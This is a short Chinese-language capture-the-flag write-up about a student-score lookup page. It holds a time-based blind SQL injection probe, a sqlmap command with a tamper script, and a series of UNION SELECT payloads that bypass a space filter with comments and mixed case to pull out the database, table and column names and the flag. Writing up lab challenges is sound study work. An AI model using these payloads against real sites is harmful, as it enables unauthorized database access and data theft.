打开题目,是一个查询框,有两种回显结果
-
学号存在的情况,会返回Score
-
学号不存在的情况,会返回not exists
URL中带了一个参数stunum
,往SQL注入方面考虑,用了BP扫出了时间盲注类型,但是sqlmap没跑出来。
/?stunum=1
BP的注入点,尝试了确实有效
?stunum=(select*from(select(sleep(20)))a)
手工尝试了没有收获,看WP空格被过滤以及需要大小写混合,(之后又去尝试了sqlmap,python sqlmap.py -u "url/?stunum=1*" --batch --tamper space2comment.py
,还是不行…不知道是哪里姿势没对)最终的payload:
-1/**/Union/**/Select/**/1,2,3#
-1/**/Union/**/Select/**/1,2,database()#
-1/**/Union/**/Select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
-1/**/UNion/**/Select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'#
-1/**/UNion/**/Select/**/1,value,flag/**/from/**/flag#
脚本二分法没有尝试了。